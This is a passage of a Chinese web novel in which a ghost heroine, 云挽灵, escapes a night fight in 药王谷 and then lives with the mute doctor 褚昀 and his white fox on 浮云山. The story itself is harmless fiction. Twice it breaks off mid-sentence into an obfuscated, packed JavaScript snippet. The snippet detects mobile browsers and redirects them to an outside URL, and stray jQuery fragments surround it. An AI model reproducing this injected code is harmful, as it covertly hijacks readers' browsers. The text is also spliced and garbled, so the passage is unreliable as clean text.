云挽灵本着少杀生的念头,耐心道:“我说过,无心路过、无心躲藏、无心插手。你们说的‘宝贝’我不知道,也不想知道,只要别招惹我,有你们活路走。” 另外一人不死心道:“那宝贝,是不是你拿走的?” 云挽灵无语,觉得自己在对牛弹琴,她只得强调:“我不知你们口中的‘宝贝’是什么,我也不感兴趣。再说一遍,赶紧滚,招惹上我,小心你们活不过今夜。” 为了吓退他们,云挽灵简直把毕生的狠话都拿出来招摇了,但这三人不退反进,步步试探底线。 其中一人手中寒芒突闪,直刺而来,分明是要将自家兄弟和云挽灵一并捅个透心凉。 “你这几个兄弟不仁义啊,好歹你刚才还劝和他们。”云挽灵将挟持的男人往旁边一推,由他栽倒在地又因失血过多昏厥过去,自己则借力往另一侧闪躲,让刀锋刺了个空,持刀的男人因使力顺了惯性往前,云挽灵几步晃到他身后,手刀一劈,将人生生砍晕。 云挽灵手无寸铁,便抢了晕倒这人的手中长刀,解决了左边,她向右横刀一挑,右边的人险险擦过刀口。 那人与为首的男人对视一眼,两人齐齐挥刀斩下,用了十成十的劲,云挽灵提刀格挡,却受不住这个劲,被压得沉了身,半跪在地。 为首的男人见云挽灵腰腹弱处暴露无遗,趁机抽刀扫来,未料云挽灵脚下一蹬,将在自己送出刀下,那两把长刀斩落在地,留下两道深深的窄坑。 云挽灵大口喘息,竟久违地感到兴奋,自己好久没有这样酣畅淋漓地打架了,她兴头正上,要与两人好好比试一番,都忘了自己原先只想息事宁人。 “来啊,继续,你们两个一起上。”云挽灵双指抹过锃亮的刀身,意犹未尽道。 为首的人眯了眯眼,觉得这个动作似曾相识,他一个眼神送去,另一人提刀便上,云挽灵正面相迎,兵刃交接,发出令人牙酸的铮鸣声,云挽灵唇角一扬,侧身的瞬间握紧刀柄往人下颌狠狠撞去,将人撞得头晕眼花,连退几步。 那人啐了口血沫又冲上来,云挽灵错身躲过,游刃有余地挡下他横劈而来的刀锋,却不料,方才在一旁观战不动的人霍然闪现,伸手就要扯下云挽灵的面纱。 云挽灵暗道不妙,分神时漏了破绽,被来者划破臂上衣袖。 出其意料,并未见血? 来者心中生疑,方才的力道,刀锋至少深到皮肤,云挽灵竟然看上去毫发无损。 痛痛痛! 那刀锋的确划破了云挽灵的手臂,她不会流血,但有痛感。 两个黑衣人相视一眼,又想故技重施,势必要看看这女人是何方神圣。 不能在这些人面前暴露鬼身! 云挽灵当机立断:不可恋战,赶紧溜之大吉。 8. 药王谷惊心动魄夜3 云挽灵又挡下三招,并将人击退几步之遥,正当她准备金蝉脱壳时,对面两人的背后不知何时悄然而至一个同样身着黑衣的女人,云挽灵瞳孔蓦地一缩。 那女人黑发高束,周身气息低沉,犹如鬼魅,只露出一双奇异的深红瞳眸,色如凝血,透着冷若冰霜的杀气。那人隔空注视着云挽灵,眼底一抹讶异转瞬而逝,云挽灵没心思去想,她只觉头皮发麻,在此人的注视下气焰霎时熄了一半。 怎么还有援兵?而且看上去就是自己打不过的人。 对面两人也从云挽灵的神情变化中觉出端倪,一同转身的刹那,纷纷跳开一段距离。 两人后背相抵,一人亮了刀锋,朝女人道:“你又是谁?”另一人则警惕地盯紧云挽灵。 原来他们也不认识。 而且两人似乎将黑衣女人误以为是云挽灵的同伙。 云挽灵顺水推舟,眉眼一弯,迷惑道:“你终于来了。” 黑衣女人红眸微闪。 照理而言,她认出云挽灵不奇,但云挽灵认出她,绝无可能。 两个男人中了套,他们欲占先机,于是率先出手,一人袭向黑衣女人,一人朝云挽灵冲来。 云挽灵尚未出手,那女人手腕一翻,袖中暗箭飞出,将冲向云挽灵的男人右臂刺穿,长刀应声落地,男人疼得目眦欲裂,生生嚼碎了后槽牙,他气道:“死娘们,老子要了你的命。”说罢,再顾不得云挽灵,重拳如锤挥向身后的黑衣女。 鹬蚌相争,云挽灵成了渔翁,她见势正好,拔腿先跑。 拳风呼啸,黑衣女却纹丝不动,她从容抬腕,只听一声破风的锐响,男人的右腿被猛然刺穿,如折翼之鸟砰然坠地,那记直冲面门的重拳生生断在了女人鼻尖一寸远,男人戾气骤泄,跪在地上,他脸上爬满了惊惶,却还要嘴硬:“你、你使阴招!” 女人不屑一词。 为首那人心知自己并非敌手,当即弃了地上三个同伴,一溜烟儿,夺路跑了。 女人收拾了不自量力的蝼蚁,这才将目光移向云挽灵奔入林中的背影。 云挽灵一路狂奔,不敢稍停一下,生怕被红眸黑衣女逮住,要治她祸水东引。 她有自知之明,光凭那女人的气场,就猜得出实力强悍,况且来者不善,她一与那人对视,右眼皮直跳,自己若与她交手,恐怕真够喝一壶的,不知能否过得了十招...... 正心有余悸,一支冷箭刺破黑夜,云挽灵后颈一寒,陡然立定。 说时迟那时快,她侧身一仰,只见那支银色冷箭从下颌处堪堪掠过,冷箭旋飞而带起的尾风将面纱掀开一角,云挽灵的真容在空气中暴露一瞬。 冷箭没入黑夜,砰地钉在某棵不知名的树干上,树冠哗哗作响,惊飞一只夜枭。 一双红光稍纵即逝。 云挽灵惊魂初定,她美目深凛,环顾四面,却是一片沉寂,犹如风息浪静。 她笃定,这只冷箭来自黑衣女,但此人似乎没想要自己的性命。 那这一下是为了试探实力,还是? 云挽灵将面纱系得更紧,不知为何,她直觉自己将会遇见越来越多的故人,也不知是朋友多,还是麻烦多。 再次确认周遭无异,云挽灵寻到那棵中招的可怜树,用刀将冷箭剔了出来。 冷箭通体泛着银光,制作精巧,恰是能装入袖口的大小,云挽灵定睛一看,上面却无任何能够识别的花纹,她努力在零碎的记忆中搜寻这支箭的踪影,可惜一无所获,只能悻悻然夸了句样式还挺漂亮,然后将箭别在腰间保管。 她一口气又穿越了半片密林,直到确认身后了无人影,才如释重负地扔了手中长刀,扶着棵老树,尽力平复着急促紊乱的呼吸。 脚步声又起。 “谁!?” 如今草木皆兵,云挽灵听见任何声响都吊心,她迅速拾起长刀严阵以待。 脚步声渐近,不远处昏黄的光亮影影绰绰。 所幸,这回林中走来的是褚昀。 云挽灵迟迟未归,他等得心慌,寻到湖边时,目之所及空无一人。 他找得焦急如焚,听见悬月断崖附近有动静,便匆匆赶去,可惜迟了一步,只见到现场留下的追逐痕迹。 他一路循着声迹搜寻,中途为避开两个神秘的红眸之人又耽搁了时辰。 药王谷这么大,再找不到,他会疯。 好在此刻,他终于确认云挽灵安然无恙。 云挽灵见到褚昀也安了心,她扯下染血的面纱,松开手中刀,站在原地,心中生出一股委屈:自己重归阳世才短短两日,怎么什么怪事险事都找上门,她像是被算计了一般。 她一脚踢开那把柳叶长刀,那刀莫名其妙挨了一下,“锵锵”滚到一边,给褚昀腾了个位置。 褚昀提灯而来,那盏暖黄的光照在云挽灵破碎的裙摆上,他轻抬,光就照在云挽灵岌岌可危的衣袖上,那里原本只有一道刀割的裂口,不知被路上什么尖锐的东西撕得更开,豁然露出了小半截手臂。 云挽灵立刻捂住手臂。她不会流血,顺着褚昀的视线,却见自己白皙的手臂上赫然出现一道墨黑的痕迹,还隐隐地由里向外飘溢着青气,那里正是不小心被长刀划过的地方,她方才忙着逃命没有注意,现下这一看,只觉分外晃眼,惹人心生古怪。 褚昀神色晦暗。 云挽灵忍不住唤道:“恩人?” 虽然褚昀一向安静,但此时他沉默不应,云挽灵莫名有种风雨欲来的心慌。 “褚昀?” 褚昀扔了灯,不知从哪儿摸出一柄细刃,他撕下自己身上最干净的一长条衣料,不由云挽灵反应,已经替她包扎好手臂上没有流血的伤口,那隐隐青气无缝可出,也就没再飘溢。 做完这些,褚昀立身于云挽灵面前,垂眸静静地看着她,等她说话。 云挽灵稍整心绪,对他道:“你要的东西拿到了吗?” 她不知褚昀来药王谷的目的,只看见他在木屋里翻找东西。 褚昀摇头。 “下次再来找吧,今日我们不能再回去。”那座木屋太容易被发现。 “药王谷现在危险,不宜久留,我们今晚就离开好吗?你认得药王谷的其他出路吗?” 药王谷中现在被云挽灵遇上的就有两路人马,没遇上的不知其数,他们居心各异,指不定就有人冲着那木屋而来,即便没有,他们人在此处,万一卷入风波呢? 褚昀点头,吹熄了灯里的烛。他无需此物也能行路,原本烛火是为云挽灵引路的。 云挽灵重将地上的长刀拾起,用以防身。 褚昀不动声色,他握住云挽灵另一只空荡冰凉的手心,力道大得令云挽灵略微吃疼,像是生怕她突然又消失不见,他的眸光再次驻留在云挽灵的手臂伤口处。片刻后,黑夜吞没了褚昀寒冽的神色,他鲜少有动了杀心的时刻...... 黑夜中两人行了一段路,云挽灵脚步一停,挥刀又割下一大片衣摆,并将其一分为二,一半给自己系在面上,另一半则亲手给褚昀系上,以防他们迎面又撞上来路不明、是敌非友的故人。 褚昀弯腰配合着云挽灵的动作。 “好啦,这样至少不容易被认出来。”云挽灵系了个小小的蝴蝶结后拍手收工,道:“走吧!” 褚昀应声起身,目光交错的瞬间,云挽灵倏地一惊。 她发现,此刻褚昀的一双眼睛竟然......也泛着微微红光。 褚昀的眸色偏褐,有时不经意去瞧,的确会误以为是红色,但在黑夜中如此明显,在云挽灵的记忆里,这是第一次。 她藏下这点疑虑,若无其事地摸了摸腰间别着的冷箭,确认没有掉落。 两人各怀心思走出药王谷时,天色将明,褚昀领着云挽灵一直往东边走,却不似要回仙湖村。 脚下的路越来越斜,越来越陡,直到踏上石阶,云挽灵才反应过来,褚昀是要带她上浮云山。 他说过,自己住在山上。 一路上无事发生,云挽灵的手心却仍被褚昀紧握着,她装作要抽手而出,成功引起了褚昀的注意,他侧目而来,手上力道丝毫未减,见云挽灵欲言又止,以为她走累了,便停下脚步容她歇息。 “恩人。”云挽灵出声道。 她开门见山,将自己与他分开后遇到两路神秘人的遭遇简明扼要地讲了一遍,褚昀听后脸色更是阴沉。 云挽灵抽出腰间那支银箭,问道:“其中一个神秘人善使暗器。恩人,你认得这支箭吗?” 出乎意料的,褚昀摇头又点头。 他的回答向来干脆直接,这模棱两可的反应是什么意思? 云挽灵将箭收回,转而摊开手心,递到褚昀身前,道:“这儿没有纸墨,恩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420670|200832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人想说什么,可以写在我的手心。” 褚昀略一迟疑,一笔一划写下言简意赅的六个字: 不认识。 你用过。 褚昀的指腹滚烫,最后三个字烧得云挽灵手心一颤。 什么意思? 云挽灵半蒙半猜,追问褚昀:“这支暗箭你没见过,但你......见过我使用类似的暗器?” 怪不得自己见到那个女人时心惊肉跳,莫非自己与她也是旧相识? 若如此,恐怕已经被她认了出来。可什么样的旧相识会使用相似的武器呢? 褚昀和她又是什么关系? 不多时,山岚渐起,晨光熹微,两人被笼罩在一片朦胧中,一滴露水从叶尖滑落,坠在云挽灵的手心,泛起一丝凉意。 “褚昀。” “很多事情,我真的不记得了......” 我能信任你吗? 云挽灵无法问出口,这个问题的意义轻得可怜。她重返阳间本就是为求褚昀超度幽魂的,与其考虑褚昀可不可信,不若问问自己是否得到了他的原谅、他的信任,从褚昀的视角来看,自己分明才是最古怪蹊跷的人。 云挽灵下意识地摸了摸自己的伤口,再次按下内心的怀疑和不安,失去记忆的她像一只警惕心极强的幼兽,永远在猜疑对面是敌是友,亦不知自己是正是邪。 褚昀若有察觉,捏了捏云挽灵的手心,大概是安抚。 云挽灵勉强一笑,道:“走吧。” 褚昀没有动,又摊开她的掌心,落下两个字:无妨。 云挽灵问:“忘记了很多事情也无妨?” 褚昀颇为郑重地颔首。 “若是忘记自己做过的坏事呢?也无妨吗?” “这样......可以轻易获得原谅,重新来过吗?” 云挽灵声音渐微。 一声极轻的叹息从头顶传来,云挽灵抬眼,褚昀正凝视着她,此时他眸中红光已褪,澄明如水般倒映着眼前的人,云挽灵如有灵犀,得到了褚昀的答案。 “谢谢。”云挽灵踏上一级石阶,回头微笑道:“走吧。” · 药王谷 临水之地雾深露重,一座古朴的木屋在氤氲水气中若隐若现,风过间,两扇敞开的木门吱呀作响。 “风寻微,要不是你多管闲事,非要关心人家死活,我们能白忙活一场吗?”一个黑衣男人双臂交叉抱在胸前,脚尖百无聊赖地勾着张竹凳东倒西歪,他红眸一瞥,见屋内另一个翻箱倒柜的背影装聋作哑,好似将他当作空气,轻蔑挑眉道:“呵,人都跑了,一间破屋子而已,有什么宝贝好找。与其在这浪费时间,不如想想怎么把人擒到手。” 那人终于搭理他,漠然道:“只是可疑,还不能确定身份,我们需要证据。” “宁可错杀,不可放过。”男人玩腻了,一脚掀飞竹椅,那竹椅撞墙后四分五裂,他不看一眼,转身又踹翻了一边木门,舒展着浑身筋骨,道:“你这样的优柔寡断,说白了,就是无能。” “哎!真是乘兴而来,败兴而归。无趣无趣。” 风寻微不欲与他争辩,自己这个弟弟早就不屑所谓长幼尊卑,对自己说话一向不客气、不留情,他散漫狷狂便也罢了,近些年来,脾性竟然越来越暴虐。 “风寻墨。” 已经迈出门外的男人回过头来,衔着一抹邪笑,明知故问道:“怎么?” “我警告你,不要乱杀无辜。” “哦。你说过八百遍了。”风寻墨挑眉,笑得阴冷,字字不屑道:“少、管、我。” 说罢,他从屋外一跃而下,不见了踪影。他此次出山不仅为完成任务,他的好姐姐非要按狗屁原则做事,他不愿苟同也无心奉陪,暌违凡世多年,他倒是很想先给自己找找乐子。 风寻微看着弟弟消失的背影,眸中红光渐黯。 她在这间屋子里什么线索也没找到,她要寻找的那个人实在是被保护得太好,以至于这么多年,她也只是顺藤摸瓜找到了药王谷,只可惜,还是晚了一步,这里已经人去楼空。 但此行也非一无所获。 风寻微脑海中浮现出一张熟悉的脸,即便藏于面纱之下,她也能不费吹灰之力地认出来。 那一双亮晶晶的眼睛,明明如昔。 云挽灵......你回来了。 9. 浮云山偷得浮生闲 浮云山坐落在扶安城南郊,是个钟灵毓秀的好地方,比之西郊苍山的崇峻巍峨,浮云山胜在清雅幽静,多是吸引一些文人诗客到此游山玩水,也有修道之人择在山林深处栖居养性。 山上有一座颇负名气的浮云寺,寺里香火缭绕,连年不绝,倒非因为该寺灵验所以香客络绎,而是寺中僧人皆乐善好施,扶安城内外有口皆碑,故常有受助者前来还恩,或不吝香火,或身体力行。 两年前,褚昀来到浮云山隐居,他与寺中的老主持是故交,曾得他指点入世行医,老住持本欲让他在寺内住下,平素和僧人们一同起居用食,但褚昀回绝了。 他在浮云寺背后亲手搭建了一间小木屋独自居住,回归了每日只有四件要紧事的平淡生活,吃饭、习医、练功和睡觉,偶尔为寺中僧人医治小病小痛,也会定期下山行医。 久而久之,人们都知晓浮云寺里住了个妙手回春的哑巴医者,但大家对此人的过往背景一无所知,是故众说纷纭,越传越玄,甚至真给他编了个谪仙降世的传说。 这位“谪仙人”带着云挽灵登至峰顶后,并未将其领去居所,而是携手踏进了浮云寺。 晨钟清越,僧人们陆续来到佛堂打坐诵经,褚昀将云挽灵留在一颗高大的紫薇花树下,紫红色的簇簇花团犹挂珠露,在青灰色的古刹里显得冷艳而孤高。 云挽灵无聊地踱步至佛堂外,阵阵梵音幽然入耳,烛火茫茫中,一尊威严的金身佛像低眉垂目,于莲花垂幡摇曳间,慈悲地望向阶下一只幽魂。 云挽灵鬼身一震,顿觉头晕目眩,果然这等庄严凛然、邪气难侵的地方实在不适合她停留,她双手合十,模仿着众僧虔诚的模样弯腰拜了拜,嘴里念念有词,然后乖乖回到紫薇花树下等待褚昀。 褚昀见过老住持,与他说明来意,再返回时,只见云挽灵枕卧手臂,趴在一张石桌上沉沉睡去了,她的眉头依旧蹙着,似有愁绪,紫薇花落在她肩头,染了几点浑然不觉的湿意。 褚昀迟疑须臾,伸出两指在她毫无防备的侧颈探了探,得到的答案在心里早已有数。 他捻去那几朵紫薇,解开云挽灵的面纱,轻柔地将她横抱而起,送入寺中一间空置的厢房。 云挽灵经历一夜的奔波,早已身心俱疲,褚昀将她安放在床上时,她还稍警觉地睁开眼缝,待看清了是褚昀,只呢喃了一句“是你”,然后翻了个身,自觉地钻进温暖的被褥里,睡得更深。 可怜那只受伤的手臂兀自被遗忘在外。 褚昀薄唇微抿,小心地去拆开包扎的布条,目光所及,云挽灵白皙的手臂几乎完好如初,惟余一道极细的黑线,他忍不住伸手去触碰,但云挽灵再一翻身,便将手臂压在了身下,他只能作罢,起身关上厢房的窗,随后悄无声息地离开了。 月升日落。 云挽灵醒来时已是半夜,浮云寺阒寂无声,只闻檐上风铎微响。 她怎么睡了如此久? 云挽灵坐在床上,回了回神,这才想起去察看手臂上的伤势,伤口处只剩下一道平平无奇的黑线,一碰,不痛也不痒。 大概是痊愈了吧,云挽灵如此心想,方卸了担忧,就骤感腹中空空。 好饿。 褚昀呢? 云挽灵穿好鞋出门,才知自己仍在寺中,她担心吵醒入寐的僧人,于是乎不敢叫唤褚昀的名字,此时她睡眠正足,又饿着肚子,精神无比清醒,只能四下转悠,顺道觅个食。 她转了一圈,居然又走到那株紫薇花树下。 不远处的佛堂大门虚掩,隐隐可见烛火微茫,她不死心,稍微靠近,果然又袭来一阵头晕之感,眼前飞星乱花齐飞,眩得她踉跄退步。 合着自己并非睡去了,而是倾倒在佛光之下,晕厥了。 “......” 云挽灵怀着无语的心情决定走出浮云寺吹吹风,甫一踏出寺门,一只雪白的身影从眼前飞掠而过,如惊鸿踏雪,匆匆一现,却在苍野中格外惹眼。 云挽灵原本无心去猜那是什么林中野物,但那雪白竟通灵一般,洞穿了与人世格格不入的塑身幽魂,自己又折返回来,立在寺墙上好奇地盯着云挽灵看,它滴溜溜地转动眼珠,嗅出这只月下幽魂身上有自己熟悉的气味,这让它生出一丝不悦的危机感。 云挽灵看清了它——原来是一只毛茸茸的白色狐狸,如此干净又不怕生人,大抵有人在养它。 云挽灵起了玩心,调皮地打了个招呼:“小美人,你好呀!” 白狐听懂了她的夸赞,傲娇地仰首,让洁白如雪的毛发完全沐浴在如练如水的月色下。 云挽灵掩唇一笑,再问:“小美人,你有没有见过一个长得漂亮却不会说话的郎君呀?” 白狐歪着小脑袋,像是在思索云挽灵的话。 突然,它跳下墙头,优雅地走到云挽灵身边,又是嗅又是蹭,末了还从头到尾打量了云挽灵一番,那眼神怪异得说不上是嫌弃还是轻蔑。 “你这小美人,拿什么眼神看我呢?”云挽灵蹲下身子想要摸摸它可爱的小脑袋,却被它傲娇地躲开了,她的手尴尬地停留空中。 云挽灵佯嗔道:“坏狐狸,小心我找你主人告状。” 这白狐又听懂了,朝云挽灵凶凶地哈气一声,然后潇洒转身,还故意拿尾巴抽了云挽灵手臂一道。 “瞧不起鬼呢?小坏蛋,你就是叫佛祖保佑你,叫神仙拯救你,我也要把你的屁股抽开花。” 云挽灵撸起袖子,势必要给这只飞扬跋扈的小狐狸一点颜色瞧瞧,她脚尖点地,身轻如燕地跃上寺墙,随着白狐奔跑的动作飞檐走壁,不一会儿就神不知鬼不觉地降临在它面前,将小家伙吓得毛发直竖,急忙刹住脚步。 云挽灵岂容它掉头逃跑,三两下将它擒入怀中,任它手脚并用挣扎不休,一手按住它乱咬的嘴巴,另一手起落,往它屁股上轻轻一拍,略施小惩。 复仇完毕,云挽灵心情大好地放它自由身。 小家伙却仿佛受了奇耻大辱,一下泪眼盈盈,一下怒气冲天地龇牙咧嘴。 “小美人,是你先动手的,我不过是还你一记,如今算是扯平。”云挽灵打算跟这只炸毛的小狐狸讲讲道理。 但小家伙怒气难消。 “好啦!你别生气,算我的错好不好,我给你道歉?”云挽灵让步道。 但小狐狸已经俯下身子亮出獠牙,做出攻击姿势。 云挽灵无奈,看着它一边完好,一边断了一半的獠牙,猜想这只好斗的小狐狸不会善罢甘休,自己只能准备迎招。 姑且当是逗逗小猫娱乐身心吧,自己也不会真欺负了它,让它知难而退即可。 小白狐蓄势待发,云挽灵整装以待。 千钧一发之际,一扇木门忽然打开,从中走出一道颀长的身影,白狐见之,立即卸了张牙舞爪的攻击状态,换上一副楚楚可怜的柔弱模样,口中还低低地哀叫几声,显然受了欺负,要找人撑腰为自己出气。 “小美人,你还有两副面孔呢!我倒要看看......” 云挽灵也察觉到身后有人,她倒要看看什么样的主人养出这么睚眦必报的小狐狸。 “......” “褚昀?” 云挽灵也迅速换了脸色,上一刻与白狐对峙时的轻佻玩味通通消失不见,她略带委屈地低声问道:“你去哪里了?我睡醒没有看见你,只能出来到处找你。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17420671|200832||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 白狐一看两人居然认识,立刻越过云挽灵几下跳上褚昀肩头,恶人先告状地在褚昀耳旁呜呜叫。 褚昀将白狐抱入怀中顺了顺毛,白狐眯着眼睛愉悦地蹭向他的脖颈,不忘向对面宣示主权。 云挽灵:“......” 小家伙,谁要和你争了。 她注意到的是褚昀身后灯火通明的小屋,简直是药王谷那座临水木屋的一比一翻版,只是缩小了一半。 “这是你住的地方吗?”云挽灵问。 褚昀抱着乖巧的白狐,视线却一直落在云挽灵身上,不等他回答,云挽灵又问:“褚昀,我能和你住在一起吗?寺里的厢房同我八字不合,我在里面睡不着。” 岂止睡得着,实在是晕睡得不知日夜为何物,她这只小鬼还是有多远离多远吧,以免损失阴气。 褚昀摇头,拒绝得迅速。 因为屋里只有一张床。 白狐幸灾乐祸地朝云挽灵又哈了几声气。 “不行吗?为什么?没有商量的余地吗?”云挽灵连环发问,褚昀有口难言。 她捂着空荡的肚子问:“那我能在你这里吃点东西吗?我好饿。” 褚昀点头,不顾白狐在怀中的抗议,将云挽灵带入小屋。 小屋果然小,有什么一览无余。 角落摆放着一张朴素的高脚木床,枕被叠放得整整齐齐,看来褚昀白日还未补眠。床边不远处有一只靠墙的方形屉桌,桌上烛台明亮,其下堆放着一团衣料和针线。床脚正对的南面则置放了一座高大的药橱,上下左右七排小斗,着墨是褚昀的字迹,各色药草将室内浸得一股温暖微苦的气味。 白狐躺到专属自己的毛毡小榻内,露出舒适惬意的表情,再也懒得抬眼去看屋内的“不速之客”。云挽灵也乐见它偃旗息鼓,否则自己还得饿着肚子招架它。 褚昀下厨去了,云挽灵好奇他半夜点着灯在做什么,于是晃悠到那只屉桌旁,若无其事地拿起桌上一团白花花的布料,却不防被一根穿在料子上的细针扎中,指尖留下了一粒小痣般的黑点。 痛! 事实证明,别人的东西别乱碰。 不是,褚昀拿针线做什么? 云挽灵心有余悸地拿起那团布料展开一看。 ——原来是件衣服。 落针的地方正是挂肩缝的位置。 大半夜的,褚昀在这里挑灯改衣服? 云挽灵大为不解。 此时褚昀端着一碗热气腾腾的葱香面进来,云挽灵被香味吸引了去,坐回屋中央的方桌前,迫不及待地开吃。 “褚昀,你晚上改衣服做什么?”云挽灵吃着面条的间隙,含糊发问道。 褚昀不答,直到看着云挽灵连汤带面吃了个干净,才缓缓伸手指了指她身上这件断了半边袖子又碎了半截裙摆的难以被称为衣服的青布料子。 云挽灵懂了他的意思,十分经意地往床脚边的衣桁一瞥,那里也挂着一件白净而无聊的衣服。 奇了怪,好歹药王谷的衣箱里五颜六色有一半,怎么浮云山上全是简素的白衣。 像是服丧。 这个念头了无征兆地钻入云挽灵的脑海,引起一阵惊涛拍岸。 她急忙呸呸呸——谁闲来无事,能为一个人服丧两年,实在不必刻舟求剑哈。 白狐被云挽灵中邪似的抓耳挠腮惊醒,没好气地睨了她一眼,又趴下了。 褚昀见她反应如此,以为她是嫌弃,皱眉取来纸墨,写道:先将就,下山后,买新的。 似乎觉得语气有些强硬,褚昀又添了一句:可以吗? 云挽灵哪能不同意,忙道:“都听恩人的。” 10. 浮云山偷得浮生闲2 昨晚,褚昀起初没同意云挽灵和自己同住,最后还是妥协了。 云挽灵的一句“又不是没一起睡过”可谓石破天惊、一语双关,将面红耳赤的褚昀堵得不仅无话可说,也无头可点、无头可摇,实在是拗不过,只能随她开心了。 经历了一夜的同枕无眠,次日,褚昀就给云挽灵打造了张新床。 云挽灵也没睡着,她想了一夜乱七八糟的事,譬如药王谷遇见的神秘人与自己是什么关系,褚昀的眼睛为何会泛红光,以及褚昀为什么只穿一身白这种意义不明的问题。 可惜没有生前的记忆辅助,她的苦思冥想全是徒劳无功,到头来一个问题也没想通。 不过,关于记忆恢复,她逐渐摸索到一点门道,即需要熟悉的场景或事物重现,她才能回忆起对应的生前经历。 比如某夜她心血来潮月下舞刀,却不小心将褚昀的药汤打翻了,因此回想起自己曾犯过同样的事,不过那时褚昀面如寒霜,冷得人直坠冰窖,大抵是在自己和他尚不太熟悉的阶段。 不比如今,他不仅宽容地接受了道歉,甚至在收拾好残局后贴心地给云挽灵准备了份宵夜。 云挽灵本想活学活用,无奈这种找回记忆的方式还得碰运气,算不到哪一刻就在曾经发生过,她试着问褚昀两人相处时的细节,问了一半又不敢继续,怕挑起他心底不好的记忆,万一坏了二人现在相安无事的关系,那就得不偿失了。 话又说回来。 云挽灵发现这几日褚昀夜夜熬药,身上的药味也越来越重,却没见他诊治什么病人,问他也不答,本着尊重他人隐私的原则,云挽灵转而决定探听一下那只小狐狸的来历。 褚昀洋洋洒洒写了好几行字为她解释前因后果。 原来这只狐狸因为天生的美丽皮毛被猎人盯上,某日意外中了陷阱,一只右腿被铁夹钳制,却还是凶狠地与好几只大它一倍的猎犬战斗,尖牙生生断了一颗,还被咬得浑身是血。 白狐不肯屈挠,那猎人也犯愁,担心它的挣扎和抵抗损坏皮毛,卖不上好价钱,一时不好再下手。 幸得褚昀路过,出钱打发了猎人,救下了奄奄一息的白狐。 虽然白狐痊愈后被放归山野,但它有灵,时常会找回褚昀的居所,把什么小田鼠啦小野鸡啦放在他门前邀功,被教育了几次佛门重地不得杀生见血后才悻悻作罢,改成屁颠屁颠陪褚昀上山采药种种。 云挽灵听了这白狐的传奇经历肃然起敬,小家伙与她和平相处了几日倒也算认她,不再抵触她的手脚,于是云挽灵得寸进尺地将它抱入怀中,用力揉了一把它的小脑袋瓜,忍不住夸赞道:“宁死不屈,气节可仰;知恩图报,赤心可敬。” “我要给你著书立传哈哈哈哈哈哈。” 白狐:“......” 云挽灵又胡乱在白狐身上摸了一把,这才恋恋不舍地放手,白狐一窜,又到了褚昀怀里。 一鬼一人一狐就这样在浮云山中消磨了几日光阴,每日小打小闹、悠哉游哉,除了纠结一日三餐怎么吃不重样,几乎没有任何烦恼。 云挽灵还甚有闲情逸致,日日在院中假装舞刀练功,然后趁褚昀外出采药时,挟持小白狐狸一起去打山鸡开荤,白狐负责打猎,她负责烧烤,以及善后,因为偶尔她们会恰好撞上背着药篓的褚昀。 还得是云挽灵,能顶着满嘴油光脸不红心不跳地狡辩一二。 虽说生活平静到云挽灵恍惚间觉得自己尚为人身,只是潇洒地隐居世外了,连向褚昀坦白鬼身和来意的事情都忘了又忘、推了又推。 但也有怪事。 近一两日奇早无比的时候,她总能隐约听见喑哑的声音,不成调更不成句,不似人言,当她起身查看时又毫无异常。 她有些忧惧,疑是黑白无常来催命了。 想了想又觉得不大可能,他们俩没必要吓唬鬼,何况算算日子,她只重返阳世九日而已,九九八十一日的九分一也。 于是疑云悄悄笼罩到了白狐身上。 这夜,云挽灵又把白狐圈在怀里强制撸毛,与它大眼瞪小眼,褚昀则坐在对面,云挽灵踌躇着开口道:“褚昀,你说像小猫小狗小狐狸之类的,是不是到了一定时期就会发出特殊声音。” 褚昀面露疑惑。 “就是它们要繁衍后代啊,到了一定时期就会那个啥嘛。” 白狐怪异地掀了云挽灵一眼。 “小白,这很正常好吗?你老实交代,是不是想找小公狐了?” 白狐将眼睛掀翻了天,不轻不重地踹了云挽灵一脚,跳到褚昀怀里去了。 云挽灵怀疑白狐到了发情期,所以会发出奇怪的声音,她提议:“褚昀,要不你给小白看看?” “是的话,我就给她觅个赘婿,不是的话,你也帮她调理调理?她总是在早上怪叫,我还想睡懒觉的。” 褚昀翻书的手一滑,袖里滚落出一只圆圆的东西。 “怎么了?你别尴尬呀,小动物有这样的情况很正常,天性使然,我们也不能讳疾忌医。”云挽灵边说边将那圆滚镂空还泠泠作响的玩意捡了起来。 “铃铛?”云挽灵打量了一圈,夸了句“挺漂亮”后物归原主。 那铃铛是银制的,许是制作匆忙,雕刻的纹路只依稀可辨是缠枝紫薇,上下各留有一个小环,应该是用来系绳带和流苏的。 褚昀脸上青一阵白一阵,没有伸手接下。 “你不要了?”云挽灵见褚昀不收,打趣道:“那我留下了?” 白狐率先反应过来,它看穿了褚昀的脸色,一嘴巴从云挽灵手里夺过铃铛,吐到了褚昀衣袖里。 云挽灵倒没有真想要那枚银铃,一眼就知道是半成品,她施施然坐回原位,托着脑袋在褚昀红晕未褪的面上溜了几眼,淡笑不语。 若银铃是做给她的,最后褚昀还不得亲自送到她手里,哈哈哈。 而且万一是当惊喜送的呢?她得善解人意,不能提前戳破,免得坏了别人一片好心。 如此心想,她摸了摸头上一支绾发的流云木簪。 不得不说,褚昀的手艺太好,简直全能,既能造床裁衣,又能雕簪刻花,她如今全身上下穿的用的都是褚昀亲手做的,对比之下,连烧得一手好菜都成了众多技能里平平无奇的一个。 